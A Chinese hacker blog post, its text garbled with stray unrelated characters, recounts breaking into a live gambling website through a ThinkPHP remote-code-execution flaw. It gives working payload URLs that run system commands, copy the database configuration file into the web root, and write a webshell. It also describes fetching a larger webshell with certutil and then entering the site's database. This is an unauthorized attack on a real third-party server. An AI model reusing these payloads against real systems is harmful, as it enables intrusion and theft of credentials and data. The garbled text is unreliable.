無(wú)意間發(fā)現(xiàn)一個(gè)thinkphp的菠菜站熬苍,最近tp不是剛好有個(gè)漏洞嗎稍走?
然后就順手測(cè)試了一下,但過(guò)程并不太順利,不過(guò)最后還是拿下了婿脸,所以特發(fā)此文分享下思路粱胜。
簡(jiǎn)單看了下盖淡,應(yīng)該有不少人玩吧?
正好前幾天寫了個(gè)測(cè)試工具凿歼,先掏出來(lái)測(cè)試一發(fā)褪迟。
工具顯示存在漏洞
一鍵getshell,看起來(lái)很順利的樣子答憔,哈哈味赃。
但是...小明甩了下頭發(fā),發(fā)現(xiàn)事情并不簡(jiǎn)單虐拓。
菜刀連接的時(shí)候心俗,返回500錯(cuò)誤。
我們用火狐的hackbar驗(yàn)證下,沒(méi)毛病啊蓉驹,那為什么菜刀連接不上呢城榛?
作為菜逼的我不禁陷入了沉思...
因?yàn)檫@個(gè)工具我自己寫的,從上面getshell的圖片中發(fā)現(xiàn)調(diào)用的是第三個(gè)exp态兴,那么我們來(lái)分析下看看狠持。
poc如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
我們?cè)趐oc后面輸入whoami看看權(quán)限。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis權(quán)限
但是可以執(zhí)行部分命令瞻润,比如echo dir等等喘垂。
0x02 嘗試突破拿shell
既然可以執(zhí)行echo 那么我們可以來(lái)嘗試寫入個(gè)小馬試試,如果成功的話绍撞,再利用小馬上傳大馬正勒,說(shuō)干就干,苦活來(lái)了傻铣,我們得一行一行寫入進(jìn)去章贞。
注意:代碼中的<>符號(hào),要用^^轉(zhuǎn)義非洲。比如<?php轉(zhuǎn)義為^<^?php
逐行寫入完成后阱驾,訪問(wèn)的時(shí)候發(fā)現(xiàn)并不能正常運(yùn)行,這里忘記截圖了怪蔑。里覆。
接下來(lái)嘗試用以下方法下載文件到服務(wù)器上也失敗了。
正當(dāng)我打算放棄的時(shí)候缆瓣,我想起來(lái)還有個(gè)下載的命令沒(méi)用喧枷。
那就是certutil.exe
說(shuō)干就干,把大馬放到我們服務(wù)器上,開啟HFS隧甚。
然后執(zhí)行以下命令车荔。
成功進(jìn)入大馬,不過(guò)別高興太早戚扳。
小明再次甩了下頭發(fā)忧便,發(fā)現(xiàn)事情更不簡(jiǎn)單....
大馬可以操作文件上傳改名等等开缎,但是無(wú)法編輯文件寞蚌,無(wú)法查看文件源碼等等,點(diǎn)開顯示一片空白葬馋。
既然這樣砍艾,那么我們進(jìn)數(shù)據(jù)庫(kù)看看吧蒂教。
我們都知道tp的數(shù)據(jù)庫(kù)配置文件在以下這個(gè)位置
/application/database.php
大馬是無(wú)法打開了,那么我們可以用tp的命令執(zhí)行漏洞嘗試用type命令去讀取這個(gè)文件脆荷。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php
嘗試type讀取失敗凝垛,然后又想到copy命令。
把database.php拷貝到web根目錄下蜓谋,改名為1.txt
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt
拷貝完成以后訪問(wèn)url/1.txt梦皮,發(fā)現(xiàn)里面是空的。
經(jīng)歷了一系列的失敗后桃焕,我冷靜下來(lái)想了下届氢,我們還可以用file_path去讀取源碼試試。
用大馬上傳這個(gè)文件到根目錄下覆旭,然后訪問(wèn)退子,成功拿到數(shù)據(jù)庫(kù)配置信息。
然后填寫好配置信息型将,進(jìn)入數(shù)據(jù)庫(kù)寂祥。
此文寫到這里已經(jīng)夜深人靜,看著桌子上吃了一半的泡面七兜,最后喝了兩口湯丸凭,關(guān)機(jī),睡覺(jué)......